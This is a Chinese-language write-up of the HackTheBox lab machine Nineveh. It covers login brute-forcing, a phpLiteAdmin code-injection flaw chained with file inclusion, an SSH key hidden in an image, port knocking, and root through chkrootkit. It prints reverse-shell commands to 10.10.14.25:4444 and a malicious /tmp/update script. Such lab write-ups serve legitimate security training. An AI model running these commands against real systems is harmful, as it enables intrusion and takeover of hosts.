HackTheBox-Machines--Nineveh

news2024/11/20 3:18:07

Nineveh测试过程

1 信息收集

NMAP 端口扫描

在这里插入图片描述

80 端口

  80端口是服务器的默认页面,无可利用功能点,源代码没有可利用的敏感信息

在这里插入图片描述

目录扫描

  

在这里插入图片描述

1.http://10.129.25.123/department

  访问/department目录跳转到登录页面,尝试暴力破解,获取到账号密码:admin 1q2w3e4r5t

在这里插入图片描述

  登录后页面显示存在 /serect文件夹、amrois用户

在这里插入图片描述

2.http://10.129.25.123/info.php

在这里插入图片描述

  

443 端口

  443端口是一张图片,无其他可利用点

在这里插入图片描述

目录扫描

  访问 /secure_notes、/server-status 目录 与 https://10.129.25.123/ 页面相同

1.https://10.129.25.123/db

在这里插入图片描述

  页面显示 phpLiteAdmin v1.9 ,可以搜索其相关漏洞

在这里插入图片描述

  1.9.3 版本存在一个远程命令执行漏洞,攻击者可以创建一个带有php扩展名的sqlite数据库,并将php代码作为文本字段插入。完成后,攻击者可以通过使用web浏览器访问数据库文件来执行它。

在这里插入图片描述

暴力破解

  创建sqllite数据库需要登录https://10.129.25.123/db,尝试进行暴力破解

在这里插入图片描述

  使用hydra工具进行暴力破解,登录页面需要猜解password字段,用户名可以随意指定,爆破密码 password123


2 phpLiteAdmin 1.9.3 版本远程命令执行漏洞

  1. 创建一个 .php 结尾的数据库

在这里插入图片描述

  1. 将php代码作为文本字段插入

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  1. 访问 /var/tmp/test.php

  但是出现了一个问题:如何访问 /car/tmp/test.php

在这里插入图片描述

在这里插入图片描述

  在Notes按钮,发现 http://10.129.25.123/department/manage.php?notes=files/ninevehNotes.txt 路径;

  http://10.129.25.123/department/manage.php?notes=/var/tmp/txt.php&cmd=ls 执行失败

  1. 测试

  在通过文件包含执行我们的数据库文件时,LFI 需要名称 ninevehNotes,重新将数据库名称更改为 ninevehNotes.php

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

http://10.129.25.123/department/manage.php?notes=/ninevehNotes/../var/tmp/ninevehNote.php&cmd=id 执行成功

在这里插入图片描述

  1. 反弹shell
bash -c 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1 &'

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


3 横向移动

www-data 到 amrois

  之前访问 /department 发现存在一个用户 amrois,查看 /etc/passwd 进行确定

在这里插入图片描述

  查找 amrois 可访问的文件

find / -user amrois \( -readable -o -writable \) 2>/dev/null

在这里插入图片描述

  在文件中查找 amrois,并在 /var/www 目录中发现 nineveh.png

cd /var/www
grep -lir amrois . 2>/dev/null

在这里插入图片描述

  将 nineveh.png 文件下载到本地进行查看

在这里插入图片描述

  使用 strings 命令查找可打印的字符串,发现 amrois 用户以及一个 SSH 密钥,猜测此密钥为用户amrois私钥

在这里插入图片描述

在这里插入图片描述

  但是使用私钥进行ssh访问时失败

端口敲击

  查找 ssh登录 失败原因

  查看进程:

www-data@nineveh:/tmp$ ps aux
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      1315  0.7  0.3   8756  3860 ?        Ss   02:45   8:03 /usr/sbin/knockd -d -i ens160

  knockd 是一个用于端口敲击的守护进程,当某些端口被按顺序敲击时,将设置某些防火墙规则。

  查看 knockd 配置文件 ``
在这里插入图片描述
在这里插入图片描述

  配置文件显示:5秒内通过输入 571、290、911 和 syns 来打开 SSH,这样做之后,它会添加一条防火墙规则以允许 我的IP 访问端口 22。

  使用如下命令,循环遍历三个端口:

for x in 571 290 911 22;do nmap -Pn --max-retries 0 -p $x 10.129.25.123; done
(base) gryphon@wsdl Demo %for x in 571 290 911 22;do nmap -Pn --max-retries 0 -p $x 10.129.25.123; done
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.

PORT    STATE    SERVICE
571/tcp filtered umeter

Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.

PORT    STATE    SERVICE
290/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.

PORT    STATE    SERVICE
911/tcp filtered xact-backup

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Nmap scan report for 10.129.25.123
Host is up (0.43s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

  ssh登录成功

在这里插入图片描述


4 权限提升

  使用 pspy 工具对服务器进行信息收集

在这里插入图片描述

在这里插入图片描述

  发现 chkrookit, 0.50 之前的 chkrootkit 将运行任何以 root 命名的/tmp/update可执行文件,从而进行权限提升。

在这里插入图片描述

amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.25/4444 0>&1'
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.225/4444 0>&1
amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.25/4444 0>&1' > update
amrois@nineveh:/tmp$ chmod +x update

  执行监听,下次chkroot运行时,得到一个 shell

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1720447.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深入分析 Android Service (四)

文章目录 深入分析 Android Service (四)1. 使用 Messenger 进行通信2. 详细示例:使用 Messenger 进行通信2.1 创建 MessengerService2.2 在 Activity 中绑定服务并发送消息 3. 使用 AIDL 进行进程间通信3.1 定义 AIDL 接口3.2 实现 AIDL 接口3.3 在客户端绑定 AIDL…

【设计模式深度剖析】【7】【结构型】【享元模式】| 以高脚杯重复使用、GUI中的按钮为例说明,并对比Java类库设计加深理解

👈️上一篇:外观模式 | 下一篇:结构型设计模式对比👉️ 设计模式-专栏👈️ 目录 享元模式定义英文原话直译如何理解?字面理解例子:高脚杯的重复使用例子:GUI中的按钮传统方式使用享元模式 4个角色1. …

api网关kong对高频的慢接口进行熔断

一、背景 在生产环境,后端服务的接口响应非常慢,是因为数据库未创建索引导致。 如果QPS低的时候,因为后端服务有6个高配置的节点,虽然接口慢,还未影响到服务的正常运行。 但是,当QPS很高的时候&#xff0c…

.NET IoC 容器(三)Autofac

目录 .NET IoC 容器(三)AutofacAutofacNuget 安装实现DI定义接口定义实现类依赖注入 注入方式构造函数注入 | 属性注入 | 方法注入注入实现 接口注册重复注册指定参数注册 生命周期默认生命周期单例生命周期每个周期范围一个生命周期 依赖配置Nuget配置文…

07-操作元素(键盘和鼠标事件)

在前面的文章中重点介绍了一些元素的定位方法,定位到元素后,就需要操作元素了。本篇总结了web页面常用的一些操作元素方法,可以统称为行为事件。 一、简单操作 点击按钮(鼠标左键):click()清空输入框&…

Linux静态库与动态库加载

了解库: 关于库相比大家之前肯定使用过,比如C/C里面的标准库,STL里面的各种库,我们在调用STL里的容器时都需要使用库,那么库到底是什么呢? 库的本质就是可执行程序的"半成品" 我们先来回顾一下代…

原生APP开发和Flutter开发的比较

原生APP开发和Flutter开发各有优缺点,适用于不同的场景和需求。下面是两者的详细比较,从开发语言、性能、开发效率、维护和更新、社区和支持等多个方面进行分析。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。…

工业安全智勇较量,赛宁网安工业靶场决胜工业网络攻防对抗新战场

2024年1月30日,工信部发布《工业控制系统网络安全防护指南》(工信部网安〔2024〕14号),围绕安全管理、技术防护、安全运营、责任落实四方面提出安全防护要求,强调聚焦安全薄弱关键环节,强化技术应对策略&am…

C语言序列化和反序列化--TPL中的API(三)

tpl_map 创建tpl的唯一方法是调用tpl_map()。第一个参数是格式字符串。后面是格式字符串中特定字符所需的参数列表。例如, tpl_node *tn; int i; tn tpl_map( "A(i)", &i );该函数在格式字符串中的项和给定地址的C程序变量之间创建映射。稍后,C变量…

C. Turtle and an Incomplete Sequence

思路:首先如果都是-1的话,我们可以输出1 2循环,否则。 首先处理首尾的连续-1串,这个也很好处理,最后我们处理两个非-1之间的-1串。 对于左边的数a[l]和右边的数a[r]: 如果a[l] > a[r],那么…

python移动文件

测试1(直接把B文件夹移动到了A里,成为了A的子文件夹) import os import shutil# 移动文件夹,B文件夹在当前目录没有了,跑到了A的子文件里 ## shutil.move(./example1/B/, ./example1/A/)测试2(B文件不动,将B文件里的所有的子文件夹移动到A内…

【算法】模拟算法——提莫攻击(easy)

题解&#xff1a;提莫攻击(模拟算法) 目录 1.题目2.题解3.参考代码4.总结 1.题目 题目链接&#xff1a;LINK 2.题解 举例&#xff1a; 3.参考代码 class Solution { public:int findPoisonedDuration(vector<int>& timeSeries, int duration) {int n timeSeri…

Java设计模式 _行为型模式_访问者模式

一、访问者模式 1、访问者模式 访问者模式&#xff08;Visitor Pattern&#xff09;是一种行为型模式。它允许在不修改已有类结构的情况下&#xff0c;向类中添加新的操作。访问者模式通过将操作封装在一个访问者对象中&#xff0c;使得可以在不改变各个元素类的前提下&#x…

thinkphp6 queue队列的maxTries自定义

前景需求&#xff1a;在我们用队列的时候发现maxtries的个数时255次&#xff0c;这个太影响其他队列任务 我目前使用的thinkphp版本是6.1 第一部定义一个新的类 CustomDataBase&#xff08;我用的mysql数据库存放的队列&#xff09; 重写__make 和createPlainPayload方法 …

《面试笔记》——MySQL终结篇30

三大范式&#xff1f; 第一范式&#xff1a;字段具有原子性&#xff0c;不可再分&#xff08;字段单一职责&#xff09; 第二范式&#xff1a;满足第一范式&#xff0c;每行应该被唯一区分&#xff0c;加一列存放每行的唯一标识符&#xff0c;称为主键&#xff08;都要依赖主…

VB.net进行CAD二次开发(四)

netload不能弹出对话框&#xff0c;参考文献2 参考文献1说明了自定义菜单的问题&#xff0c;用的是cad的系统命令 只要加载了dll&#xff0c;自定义的命令与cad的命令同等地位。 这时&#xff0c;可以将自定义菜单的系统命令替换为自定义命令。 <CommandMethod("Add…

Linux主机安全可视化运维(免费方案)

本文介绍如何使用免费的主机安全软件,在自有机房或企业网络实现对Linux系统进行可视化“主机安全”管理。 一、适用对象 本文适用于个人或企业内的Linux服务器运维场景,实现免费、高效、可视化的主机安全管理。提前发现主机存在的安全风险,全方位实时监控主机运行时入侵事…

如何设置eclipse中web.xml 文件的地址

新学了一个项目 &#xff0c;项目结构与平常自己构建的web项目不同 &#xff0c;用eclipse打开之后&#xff0c;eclipse竟然自己创建了一个web.xml 而项目里面原本的web.xml 文件eclipse没有识别出来&#xff0c;导致后来浏览器访问任何路径都报错404 一、修改项目中web.xml的…

Centos7.9环境下安装Keepalived(亲测版)

目录 一、在线安装 二、离线安装 (1)、 下载 (2)、安装依赖包 (3)、解压文件 (4)、编译 (4.1)、进入 keepalived-2.2.8 目录中 (4.2)、安装Keepalived (5)、配置文件修改 (6)、启动 (7)、检查启动状态 (8)、 设置开机自启 (9)、配置从节点 (10)、启动从节点keepalived…

ArcGIS教程(05):计算服务区和创建 OD 成本矩阵

准备视图 启动【ArcMap】->双击打开【Exercise05.mxd】->启用【Network Analyst 扩展模块】。前面的文章已经讲过&#xff0c;这里不再赘述。 创建服务区分析图层 1、在 Network Analyst 工具栏上&#xff0c;单击 【Network Analyst】&#xff0c;然后单击【新建服务…